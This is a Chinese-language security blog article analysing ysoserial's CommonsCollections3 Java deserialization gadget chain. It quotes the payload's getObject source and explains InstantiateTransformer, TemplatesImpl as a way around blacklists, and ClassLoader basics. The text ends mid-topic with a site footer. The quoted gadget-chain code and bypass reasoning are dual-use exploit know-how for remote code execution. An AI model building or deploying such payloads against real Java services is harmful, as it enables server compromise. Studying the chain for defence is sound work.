YsoSerial 工具常用Payload分析之CC3(二)

这是CC链分析的第二篇文章,我想按着common-collections的版本顺序来介绍,所以顺序为 cc1、3、5、6、7(common-collections 3.1),cc2、4(common-collections4)。

打开YsoSerial payloads CommonsCollections3源码:

public Object getObject(final String command) throws Exception { Object templatesImpl = Gadgets.createTemplatesImpl(command); // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { templatesImpl } )}; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain return handler; }

和CC1 代码对比:

image-20210727102032876

只有 transformer生成逻辑不一样, 使用到了三个新的关键类InstantiateTransformer、TrAXFilter、TemplatesImpl。 所以我们重点看下着三个新类是干嘛的。

InstantiateTransformer

查看源代码:

image-20210727104945327

从transfomer可知,先通过射 getConstructor 获取传入对象的构造器,然后通过 newInstance 方法实例化对象,这么看InstantiateTransformer 近似与new。

写个使用例子,存在一个PersonBean.java ,里面的构造函数会打印我被初始化了。

public class PersonBean { public PersonBean(){ System.out.println("我被初始化了"); } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } private String name; private int age; }

用InstantiateTransformer 的方式生成instantiateTransformer 对象,写一个测试类方法

import org.apache.commons.collections.functors.InstantiateTransformer; public class MainTrueTest { public static void main(String[] args) { InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{}, new Object[]{}); instantiateTransformer.transform(PersonBean.class); } }

结果,构造方法被执行:

image-20210727142301574

TemplatesImpl

这是一个JDK用于在处理xml文件用到的类,在Java 8u251后不能使用, 具体这个类的说明,以及高版本不能使用的原因可以看P神的这一篇文章。https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html

在之前用作命令执行的类是InvokerTransfomer,但在Common-collections爆出漏洞的时候很多黑名单都直接将InvokerTransfomer这个类拉黑了,所以需要寻找其他能够直接执行命令的类,于是安全人员就找到了这个类,TemplatesImpl的应用非常广泛,cc链2和3、fastjson不出网利用、jdk7u21等等,如果把Java序列化漏洞比做一个考试的话,TemplatesImpl就肯定是个必考点。

前置知识——ClassLoader

先来了解一个前置知识,JVM在加载类的时候会用到ClassLoader,默认分为三种加载器:BootstrapClassLoader、 ExtClassLoader、 AppClassLoader 分别加载 Java 核心类库、扩展类库以及应用的类路径( CLASSPATH)下的类库,JVM通过双亲委派的机制进行类的加载,防止系统类被轻易篡改,我们也可以继承java.lang.classloader 实现自己的类加载器。

其中ClassLoader提供了几个重要的方法:

loadClass(String classname) 委派调用父级loadClass,没找到就调用findClass()

findClass() ,搜索类的位置,根据名称加载class字节码文件,调用defineClass()

defineClass(), 将字节码转为class对象

调用顺序 loadClass -> findClass() -> defineClass(),出了classLoader可以加载类外还可以用Class.forName,但存在区别,看代码:

image-20210727155313405

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zwdfwy.html